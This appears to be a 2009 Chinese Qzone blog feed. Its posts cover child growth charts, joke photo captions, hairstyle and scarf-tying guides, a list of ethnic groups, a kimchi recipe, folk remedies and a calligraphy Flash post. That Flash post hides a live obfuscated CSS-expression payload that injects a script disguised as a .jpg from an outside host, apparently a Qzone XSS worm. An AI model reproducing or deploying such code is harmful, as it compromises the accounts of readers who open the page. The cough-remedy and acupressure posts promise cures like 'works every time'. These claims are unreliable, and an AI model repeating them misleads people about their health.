http://596071599.qzone.qq.com Mon, 30 Nov 2009 06:32:51 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Sat, 28 Nov 2009 01:45:53 GMT http://596071599.qzone.qq.com/blog/1259372753 （长度：厘米 重量：公斤）
年龄 男 性
　　　　身长 　 体重 　　头围 　　胸围
初生　　50.6 　3.27 　　34.3 　　32.8

1月 　　56.5 　4.97 　　38.1 　　37.9

2月　　 59.6 　5.95 　　39.7　　 40.0

3月 　　62.3　 6.73 　　41.0 　　41.3

4月 　　64.6 　7.32 　　42.0 　　42.3

5月 　　65.9 　7.70 　　42.9 　　42.9

6月 　　68.1 　8.22 　　43.9 　　43.8

8月 　　70.6 　8.71 　　44.9 　　44.7

10月 　72.9 　 9.14 　　45.7 　　45.4

12月 　75.6　 9.66 　　46.3 　　46.1

18月 　80.7 　 10.67 　 47.3　　 47.6

25月 　90.4 　 12.84 　 48.8 　　50.2

3岁 　　93.8 　13.63 　　49.1 　　50.8
女 性
　　　　 身长 　　体重 　　头围 　　胸围
初生 　　50.0 　　3.17 　　33.7　　 32.6

1月 　　 55.5 　　4.64 　　37.3 　　36.9

2月 　　 58.4 　　5.49 　　38.7 　　38.9

3月 　　 60.9 　　6.23 　　40.0 　　40.3

4月　　 62.9 　　6.69 　　41.0 　　41.1

5月　　 64.5 　　7.19 　　41.9 　　41.9

6月 　　 66.7 　　7.62 　　42.8 　　42.7

8月 　　 69.1 　　8.14 　　43.7 　　43.4

10月　 71.4　 　8.57 　　44.5 　　44.2

12月 　 74.1　 　9.04 　　45.2 　　45.0

18月　 79.4 　　10.08　　 46.2 　　46.6

25月 　 89.3 　　12.28 　　47.7 　　49.0

3岁 　　92.8 　　13.10　　 48.1　　 49.8

二、世界卫生组织 0-10岁儿童体格心智发育评价标准参考值（1998年最新标准）（男）

标准范围年龄
体重（kg)
身高（ cm)
心智发育

初生
2.9-3.8
48.2-52.8
卧抬头，对声音有反应。

1月
3.6-5.0
52.1-57.0
伏卧抬头 45度，能注意父母面部。

2月
4.3-6.0
55.5-60.7
伏卧抬头 90度，笑出声、尖声叫、应答性发声。

3月
5.0-6.9
58.5-63.7
伏卧抬头，两臂撑起，抱坐时头稳定，视性能跟随 180度，能手握手。

4月
5.7-7.6
61.0-66.4
能翻身，握住摇荡鼓。

5月
6.3-8.2
63.2-68.6
拉坐，头不下垂。

6月
6.9-8.8
65.1-70.5
坐不需支持，听声转头，自喂饼干，握住玩具不被拿走，怕羞，认出陌生人，方木能递交。

8月
7.8-9.8
68.3-73.6
扶东西站，会爬，无意识叫爸爸、妈妈，咿呀学语，躲猫猫，听得懂自己的名字，会摇手再见。

10月
8.6-10.6
71.0-76.3
能自己坐，扶住行走，自己熟练协调的爬，理解一些简单的命令，如 “到这儿来”，自己哼小调，说一个字。

12月
9.1-11.3
73.4-78.8
独立行走，有意识叫爸爸、妈妈，用杯喝水，能辨别家人的称谓和家庭环境中的熟悉的物体

15月
9.8-12.0
76.6-82.3
走得稳，能说三个字短句，模仿做家务，能叠两快积木，能体验与成人一起玩的愉快心情

18月
10.3-12.7
79.4-85.4
能走梯，理解指出身体部分，能脱外套，自己能吃饭，能识一种颜色。

21月
10.8-13.3
81.9-88.4
能踢球，举手过肩抛物，能叠四块积木，喜欢听故事，会用语言表示大小便。

2岁
11.2-14.0
84.3-91.0
两脚并跳，穿不系带的鞋，区别大小，能识 2种颜色，能识简单形状。

2.5岁
12.1-15.3
88.9-95.8
独脚立，说出姓名，洗手会擦干，能叠八块积木，常提出 “为什么”，试与同伴交谈，相互模仿言行。

3岁
13.0-16.4
91.1-98.7
能从高处往下跳，能双脚交替上楼，会扣钮，会折纸，会涂浆糊粘贴，懂饥、累、冷，会用筷，能一页翻书。

3.5岁
13.9-17.6
95.0-103.1
知道颜色，不再缠住妈妈，开始有想象力，自言自语

4岁
14.8-18.7
98.7-107.2
能独立穿衣，模仿性强

4.5岁
15.7-19.9
102.1-111.0
能说简单反义词，爱做游戏。

5岁
16.6-21.1
105.3-114.5
解释简单词义，识别物件原料。

5.5岁
174-22.3
108.4-117.8
开始抽象逻辑思维，自觉性、坚持性、自制性有明显表现。

6岁
18.4-23.6
111.2-121.0
想象力丰富，性绪开始稳定。

7岁
20.2-26.5
116.6-126.8
感知：有目的、有意识的知觉和观察能力、空间知觉和时间知觉不断发展。

8岁
22.2-30.0
121.6-132.3
注意力：无意注意 →有意注意，有一定的自制能力。

9岁
24.3-34.0
126.5-137.8
记忆力：无意，具体形象一有意理解，抽象逻辑记忆注意力：无意注意 →有意注意，有一定的自制能力。

10岁
26.8-38.7
131.4-143.6
思维：具体形象 →抽象逻辑思维。
三、不同阶段宝宝体重计算公式：
6个月以内体重＝出生体重＋月龄×600克
7-12个月体重＝出生体重＋月龄×500克
2-7岁体重＝年龄×2＋8000克
身长是指头、躯干、下肢三者长度的总和，三者比例在宝宝不同阶段不一样。
出生时宝宝平均身长为50厘米左右。
第1年身长增长得最快，1-6个月时每月平均增长2.5厘米，7-12个月每月平均增长1.5厘米，周岁时比出生时增长25厘米，大约是出生时身长的1.5倍。
出生后第二年，宝宝身长增长速度开始变慢，全年仅增长10-12厘米。 ]]> http://596071599.qzone.qq.com/blog/1259372753#comment 142606856 Sat, 28 Nov 2009 01:45:53 GMT http://596071599.qzone.qq.com/blog/1259372753 http://596071599.qzone.qq.com/blog/1259372633
偷情的最高境界

裤子的最高境界

灭火的最高境界

理发的最高境界

跳跃的最高境界

打麻将的最高境界

回旋踢的最高境界

偷的最高境界,,,

CS玩家的最高境界....
折钞票的最高境界
玩沙子的最高境界

吃苹果的最高境界

睡觉的最高境界
++
轿车的最高境界

警车的最高境界

饭店广告的最高境界

抽烟的最高境界

煎荷包蛋的最高境界

削铅笔的最高境界

叠石头的最高境界

生命之树

真正的奔驰
　
翻了我照样开
　
电视上看不到的广告

看你怎么偷

最“猪”的车

警察的新车

国产蜘蛛侠

我酷故我在

安全系数最高的自行车

如此平衡
.
瞧俺的脸酷吗


]]> http://596071599.qzone.qq.com/blog/1259372633#comment 134218249 Sat, 28 Nov 2009 01:43:53 GMT http://596071599.qzone.qq.com/blog/1259372633 http://596071599.qzone.qq.com/blog/1259372616
第一款
1、扎马尾
2、头发向左绕，用手把皮筋往上弄一点，省得埋在头发里找不到了，我的皮筋是黑色的，为了大家看清楚，所以用画笔描成黄色
3、头发再绕过来
4、头发绕到了皮筋的位置
5、把绕过来的头发塞到皮筋里面，等于用皮筋把它们捆住
6、捆过来的头发继续向左绕一圈，注意后面一圈的头发要在第一圈的后面绕，就是藏在第一圈的后面。注意我左手食指拿住的，是绕第二圈的头发，这时基本只剩个发尾了。
7、把这个发尾继续塞到这根皮筋里面，用皮筋把它捆住。
8、成品

第二款
1、如图，拧头发。
2、将发簪插入头发。
3、将发梢绕在发簪上。
4、将发簪尖向下，发簪尾部向上翻，顺势将发簪插入头发中，成品。

第三款

第四款

第五款
由第四款改变而来，前面所有步骤如第四款前面一样

第六款 由第四款改变而来，前面所有步骤如第四款前面一样

第七款
由第四款改变而来，前面所有步骤如第四款前面一样

第八款

第九款

第十款

第十一款
1、把上面的头发，从鬓角到后颈，分成两部分，上面部分的发量稍多
2、这是分抓头发的另一侧，做起来十分简单
3、把抓起的上面部分扎起来
4、从扎起的头发中分起一小缕，缠绕束发的圈子，这样可以把发圈遮住
5、抓住马尾，按顺时针方向扭转
6、把已经扭转的头发逆时针旋成一圈用刚才束发的发圈固定住。可加隐蔽型的小发夹固定。
7、把前额的头发梳顺。造型完毕。

第十二款

第十三款

第十四款
1.将头发束起好，往一边拧紧，旋转并绕进去
2.用漂亮的齿梳挑起一些头发反插进去
3.再把齿梳反过来，留在最上面多余的头发抓一下造型，成品了

第十五款
最简单，暂时用筷子代替
1、扎个低马尾(高的也好看 会活泼些)将簪子横插在橡皮筋下.
2、分开两股头发 向上围着簪子交错环绕.
3、把头发绕完,(注意要绕得形状好看 饱满)用黑发卡固定。

第十六款
1、扎个马尾.
2、将头发朝上或朝下翻一下 再扎一次.
3、将剩余的头发围着橡皮筋环绕 盖住橡皮筋.
4、用发卡固定一下,刘海可伏帖在前额

第十七款
1、将头发束在手中,向里扭一下.
2、用发卡固定.
3、把余下的头发顺着环绕一周,把扭出的那个发包 围住.
4、用发卡固定.(如果有隆重的宴会什么的 别朵华丽的头饰如图4)

第十八款
1、扎个稍高点的马尾.
2、把扎好的头发 环绕盘好.(不要扭哦,扭紧了就不生动了)
3、刘海的配合很重要,可以将刘海拉起来倒刮几下,然后再固定夹好.
4、也可以把刘海伏帖在额头上

第十九款
1、还是要求马尾.
2、将头发套进工具中 从下方插下再拉出来.
3、拉出来后 将头发向内卷.然后固定.(要卷得饱满整齐哦)
4、好了 现在完成了 可以上班了.晚上有Party怎么办?没关系装饰一朵夺目的花饰配上晚装,你就是明艳动人的了.

第二十款
1、扎好后 分开两股辨起来.
2、把辫子交错环绕固定. ]]> http://596071599.qzone.qq.com/blog/1259372616#comment 521 Sat, 28 Nov 2009 01:43:36 GMT http://596071599.qzone.qq.com/blog/1259372616 http://596071599.qzone.qq.com/blog/1259372225

汉族 满 族 回 族 蒙古族 藏 族


纳 西 族 哈萨克族 土 家 族 普 米 族 壮 族


布依族 基诺族 佤 族 德昂族 侗 族


傣 族 裕固族 土 族 景颇族 白 族


乌孜别克族 塔塔尔族 门 族 布朗族 水 族


瑶 族 黎 族 独龙族 朝鲜族 哈尼族


保安族 鄂伦春 赫哲族 珞巴族 高山族


东乡族 俄罗斯族 锡伯族 撒拉族 阿昌族


羌 族 达斡尔族 维吾尔族 彝 族 傈僳族


仡佬族 京 族 毛难族 塔吉克族 怒 族


柯尔克孜族 拉祜族 仫佬族 畲 族 鄂温克族


苗族 ]]> http://596071599.qzone.qq.com/blog/1259372225#comment 134218249 Sat, 28 Nov 2009 01:37:05 GMT http://596071599.qzone.qq.com/blog/1259372225 http://596071599.qzone.qq.com/blog/1259372146 平衡结

A.把围巾绕在脖子上，前后交叉打个结；
B.将前面那段围巾从脖子后面绕过去；
C.把从后面绕过来的围巾沿箭头方向穿过空隙。

大蝴蝶结


A.把围巾绕在脖子上，左右打个结，左边在上，右边在下；
B.把右边的那段围巾对折重叠；
C.把重叠的围巾放在左边那段下面，把左边的围巾沿箭头方向绕在另一段上；
D.把结抽紧就可以了。

小蝴蝶结

A.把围巾在脖子上绕一圈，交叉打一个结；
B.把打好的结调整到前后方向，然后再打一个结。
特别提醒这个结的打法也很容易，显得很大方，
又不像大蝴蝶结那么女性化，很适合爱漂亮的女生。


领带结：
Ａ把圍巾繞在脖子上，右邊在上，把後邊那段圍巾沿箭頭方
向在左邊那段上繞一圈。
Ｂ：繞好後，再將圍巾從空隙中穿出。
Ｃ：把圍巾從空隙中抽出來。特別提醒：打法和打領帶差不多，
不過打出來的結會顯得有寫臃腫，用薄一點的絲巾。


不对称结：

A.把围巾交叉绕在脖子上，左边在上，然后将右边那段沿箭头方向穿过空隙；
B.把围巾从空隙中抽出来。
特别提醒这种结给人以反叛不羁的感觉，如果你觉得够cool的话，
这种打法可以试试看。
轻盈结

A.把围巾在脖子上绕一圈；
B.将左右两段围巾交叉打结；
特别提醒这是最基本的打法，很简单。
特别适合早晨匆匆忙忙去上课的同学

套舌结

A.围巾绕在脖子上，右边的那头在上；
B.将右端从中间的空隙中穿过；
C.将这段再从空隙中穿回，留一部分重叠。
特别提醒如果围巾长，就把那条“舌头”
拖长一些。这种打法比较适合活泼可爱的人哦！
法国结

A.把围巾绕在脖子上打一个结，打结处留一点空隙；
B.把右边那段围巾绕过左边那段，再从空隙中穿过；
C.把围巾从空隙中抽出来。
特别提醒这种结给人重重的感觉，
适合高高大大的男生女生也行的啦)！

裴氏....


双色镂空围巾

关键词：双色、挖洞剪裁、层叠感

俏皮风格离不开 创意设计，今年活泼俏皮气质的围巾主要借助了双色的设计，
保留自然布缘不锁边，强烈的色彩反差下还显出轻微“颓废感”。
另外，刻意的大洞洞式镂空剪裁，更使活泼的围巾多了点 摇滚风格。

搭配建议：流苏已经不再时兴，选择这款俏皮式洞洞围巾时，
一要注意双色对比的视觉冲击，二要尽量选择不带流苏的长条式


印第安倒三角

关键词：彩色羽毛、仿鹿皮、三角形 印第安风情是今年围巾风格
最出位的设计。夸张的彩色的羽毛、粗糙的鹿皮绑带、纷乱的皮毛
层次，从颜色的渐变混搭到材质的错乱搭配，加上倒三角形的剪裁
设计，简单地往脖间一搭，便立刻显出女性既野性又妖娆的感觉。

搭配建议：大开领的紧身毛衣和带金属感的紧身小马裤，
都能配出异域风情。

复古欧式披肩


关键词：明亮色调、长绒皮草、蕾丝蝴蝶结 今年的披肩式围巾
彻底回到上世纪六七十年代，束肩A形摆、长绒皮草、蕾丝系带
蝴蝶结把这款暖融融的围巾打造得既华丽又婉约。
搭配建议：颜色方面却没有遵从欧式风情， 黑色、咖啡色皮
毛被明亮的绿、蓝色长绒毛代替，适合搭配及膝蓬蓬裙或阔腿喇叭裤。


韩式乞丐混搭结

首先这款围巾就很个性，海报网编编之所以称它为乞丐结
就是因为它很有破旧的效果，HOHO~~。别看它系出的效果
好像很复杂，其实系法很简单哦！把围巾从前面挂到脖子
上，围巾两端在颈后交叉后再绕到胸前，把右手边的拉出
一个小孔让左侧的边穿过去搭到背后，右边的同样穿过左
边拉的孔搭到背后。这样的围巾搭配休闲衣服很适合哦

韩式单层淑女结

把折成适当宽度的围巾从前面挂到脖子上，围巾两端
在颈后交叉后再绕到胸前。这样可以使样式普通的围
巾造型，在整体搭配效果上会给人耳目一新的感觉。
这种围巾会使脖颈处稍显蓬松，所以在搭配大衣时，
要将衣领立起，把围巾系在外面，这样看起来不会
显得臃肿。

韩式披肩式围巾系法

也称双八字系法，这种系法是最简单的。
首先从中间分开把围巾两边交叉后搭到
背后，然后在背后交叉搭到胸前来，再
从胸前交叉搭到肩上。这种系法最适合
OL的哦！时尚又不乏女人味。

韩式双层侧领结

将折好的围巾挂在脖子上，然后将一端拉长，
长一端围着脖子绕一圈。围巾的两端在胸前
打个结将结点移到自己喜欢的位置。好了！
此种系法既适合休闲打扮，也适合正式端庄
的打扮，特点是造型小巧，容易搭配。与端
庄严谨的套装相配，可以增加一丝可爱的感觉。

韩式时尚三角结

把围巾折成三角型，把三角尖斜一点放到胸前，
然后拉围巾两边从前边绕到脖子后边去然后系
好，系好后把剩下两个角放到胸前，好OK了!。
哈韩的帅哥美女都喜欢这样的系法。给人很前
卫的感觉，而且个性十足。

超长休闲围巾

粗棒针的围巾面料种类有很多，搭配不同的服装都会有
时尚的感觉，简约的休闲装加上一个宽松的脖套式围巾
，即刻拥有T台模特的时尚味道，长款针织围巾的系法
要视服装而定，如果你的装束简洁休闲，可以用围巾简
单围一圈在前面打个结，其余的让它随意自然垂下；
如果你要搭配裙款小洋装，可以蓬松的多围几圈，在
后边系结，不但利落而且后面还很俏皮可爱，但是一
定不要让它有塌在衣服上的感觉。

单层十字结：样式普通的围巾造型，在整体搭配效果上会
给您耳目一新的感觉。这种围巾会使脖颈处稍显蓬松，所
以在搭配大衣时，要将衣领立起，把围巾系在外面，这样
看起来不会显得臃肿。

肤色白皙

皮肤白皙的美人选择范围较广，用深灰、大红等
深色可进一步突出白净，淡黄、粉红等浅色则可
用来彰显

肤色偏黄

脸色发黄的人宜戴浅黄、粉红、中灰、浅灰蓝等
浅色柔和的围巾，不宜选用深红、深紫、黄色、
墨绿等色

身材瘦/胸部平坦

这类MM的缺点是身材没有曲线，所以适合用蓬松、
有大花图案的围巾，一次来增强身体的动感。采
用将两端放在背后或随意打结在肩上，中间对称
悬垂在胸前的系法，可以使胸部显得 丰满一些

英伦风格围巾

你可以选择大大的有点像披肩式的围巾，印有红色的格子
或者条纹，在搭配这种款式围巾的时候，很多人会把它叠
成一个长条然后再围，其实这样围出来不光不好看，还会
显得很死板。正确的是围的时候要先把围巾打开，稍微对
折拉成斜角，让围巾里面充满空气，围的时候也要让它有
随意蓬松的感觉，红色的格子很有苏格兰的味道哦。

流浪式

这种方式最显著的优点就是它的帅气，带一点中性，
有一点无心，流浪气息摩登得很大气，尤其适合搭配英伦风。


随意式

这个技术含量和对围巾花色的要求都较高，虽然
看似是随心所欲的打结，但是结在前还是后，
怎么结，掌握好也不容易哦。

甜蜜式

很明显，婉约甜美是它的大卖点，颜色不是那么重要，
质地也没有大影响，关键是花花朵朵或者精巧勾边的奇趣造型。

披肩式

今年非常流行宽大型围巾，最好的表现方法是
简单地围裹在针织衫或者小外套外面，一定可以风情万种。


身材较胖/胸围偏大

这类MM比较适合深色系或者色调明亮的围巾。围巾
比较薄软的会好看，最好不要用特别厚大的。穿戴
的时候，建议用绕脖子围一圈，两端等长，分别搭
在胸前、背后，或两端都放在胸前的系法，这样容
易显得瘦。



















]]> http://596071599.qzone.qq.com/blog/1259372146#comment 134218249 Sat, 28 Nov 2009 01:35:46 GMT http://596071599.qzone.qq.com/blog/1259372146 http://596071599.qzone.qq.com/blog/1259371886






























]]> http://596071599.qzone.qq.com/blog/1259371886#comment 4105 Sat, 28 Nov 2009 01:31:26 GMT http://596071599.qzone.qq.com/blog/1259371886 http://596071599.qzone.qq.com/blog/1259025503
注：辣白菜的制作从头到尾都不能沾一点油


2.腌了半天后，挤掉水分



3.准备好：姜，蒜，苹果，梨



4.姜，蒜，苹果，梨剁末儿，苹果、梨用1/3或者一半即可



5.辣椒面，盐，味精

辣椒面的量看自己喜欢辣味的多少，也要看辣椒面的新鲜程度



6.加入适量凉白开，把辣椒面，盐，味精调匀



7.把姜蒜苹果梨末儿倒入辣椒面中



8.搅拌



9.开始腌菜！从最内层开始，把调好的辣椒糊糊抹在白菜上，里外都抹



10.接着抹



11.整棵都抹好了.



12.拿一个带盖的容器，注意洗净，一定不要有油，如果无盖的，用保鲜膜封住也可以。



13.3—5天后成功



14.装盘了,呵呵~!
]]> http://596071599.qzone.qq.com/blog/1259025503#comment 9 Tue, 24 Nov 2009 01:18:23 GMT http://596071599.qzone.qq.com/blog/1259025503 http://596071599.qzone.qq.com/blog/1258764882 最近天气变化无常，感冒咳嗽患者增多，一旦咳嗽起来就没完没了。日前我搜到一个止咳的小偏方，按照这个方法制作下来，对于咳嗽患者真是有效，我妈咳嗽了一个多月，仅服用了一天就明显有所好转，基本属于那种不咳嗽的状态了。下面我配图说明，首先声明这不是广告，绝对的好方法和大家一起分享，或者你有更好的方法也来秀一下，和大家一起探讨：
先取一个白萝卜，洗净去皮。

将萝卜切成丁，大小如黄豆般就可以了。

取半瓶蜂蜜，将切好的萝卜粒倒入蜂蜜中，萝卜倒入的量是根据蜂蜜的高度决定的，就是说蜂蜜多少高度，萝卜也倒入相应的高度的量。


这样就完成了，大约要过2个小时左右，把这种萝卜蜂蜜汁倒出一大汤匙，以温水稀释，一天饮用4-5次，从次日起咳嗽就能停止，此方法对于气喘也有一定疗效。建议将保存的瓶改用玻璃瓶会更好，我使用的是普通的塑料瓶，个人认为塑料不是很好，但是家中一时找不出来玻璃瓶，所以暂时先用这个咯，建议大家都可以试试看这个方法，简单有效。



]]> http://596071599.qzone.qq.com/blog/1258764882#comment 521 Sat, 21 Nov 2009 00:54:42 GMT http://596071599.qzone.qq.com/blog/1258764882 http://596071599.qzone.qq.com/blog/1258617295

用鼠标直接在屏幕上写毛笔字

你就写试试 写不完的墨 用不完的纸

以上是许诺借用了岸柳老师的一幅作品

[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://596071599.qzone.qq.com/blog/1258617295#comment 4617 Thu, 19 Nov 2009 07:54:55 GMT http://596071599.qzone.qq.com/blog/1258617295 http://596071599.qzone.qq.com/blog/1258467883 颈椎腰椎有病揉此穴，百用百灵，受用无穷！




（后溪穴的位置图）



　　颈椎、腰椎有病，揉后溪穴百用百灵

　　过去，颈椎病是40岁之后人的专利，但现在20～30岁的颈椎病患者到处都是，甚至还有得颈椎病的小学生！原因很简单：伏案久了，压力大了，自己又不懂得怎么调理，所以颈椎病提前光临了。

　　阳气不足，人就会未老先衰，这是当今生活中多数人面临的一个特别严重的问题。

　　当长期保持同一姿势伏案工作或学习的时候，上体前倾，颈椎紧张了，首先压抑了督脉，督脉总督一身的阳气，压抑了督脉也就是压抑了全身的阳气，于是，久而久之，整个脊柱就容易变弯，人的精神也差了。

　　人的精神，不是被脑力劳动所消耗掉的，而是被错误的姿势消耗掉的。

　　这一系列问题，都出于同一原因。现在，通过一个穴，也就可以全部解决，这个穴就是后溪穴。后溪是小肠经上的一个穴，把手握成拳，掌指关节后横纹的尽头就是该穴。这个穴是奇经八脉的交会穴，通督脉，能泻心火、壮阳气、调颈椎、利眼目、正脊柱。临床上，颈椎出问题了，腰椎出问题了，眼睛出问题了，都要用到这个穴，效果非常明显。它可以调整长期伏案或在电脑前学习和工作对身体带来的不利影响，只要坚持，百用百灵。

　　用这个穴位非常简单，而且容易坚持。我们坐在桌子旁，把双手后溪穴的这个部位放在桌子沿上，用腕关节带动双手，轻松地来回滚动，即可达到刺激的效果。

　　当我们坐在电脑旁阅读文件的时候，手是怎么放的？肯定是一手不离鼠标，一手仍在键盘上吧，保持这个姿势不动，人都变僵了。这时，不妨灵活一点，把手解放出来，让双手的后溪穴抵在桌沿或键盘上，来回滚动，揉一揉，每次刺激3～5分钟，每个小时刺激一次就足够了。这是毫不耽误时间的，因为这时候，眼睛该看什么还可以看什么。

　　大家可以试一下，坚持一天这样做下来，肯定到了下班的时候腰不会酸、脖子不会累，眼睛在很大程度上能得到缓解。每天坚持这么做下去，首先是腰椎、颈椎轻松挺直，同时，你会发现眼睛也比以前好使了。如果因为忙，总是忘记怎么办呢？我建议，甚至可以定个闹钟，每隔一个小时提醒我们揉动一下后溪穴。不管忙到什么程度，我想这么一点时间还是能抽出来的。因为，这是能真正拯救我们健康的好方法。

　　要养成揉后溪的习惯，随时随地，有空就揉一揉。比如，开车的时候，如果碰见路上堵车，或是红灯亮了，把后溪放在方向盘上来回滚揉几次，特别舒服。这时候，别人在着急上火，而你却在通督脉、泻心火、壮阳气、调颈椎、正脊柱、利眼目，受用无穷；一不起急，二不发火，精神振奋，这么一来，有时候居然觉得堵车也堵得很值！

　　注：后溪穴在手侧面小拇指下两三厘米处，见上、下附图












]]> http://596071599.qzone.qq.com/blog/1258467883#comment 142610953 Tue, 17 Nov 2009 14:24:43 GMT http://596071599.qzone.qq.com/blog/1258467883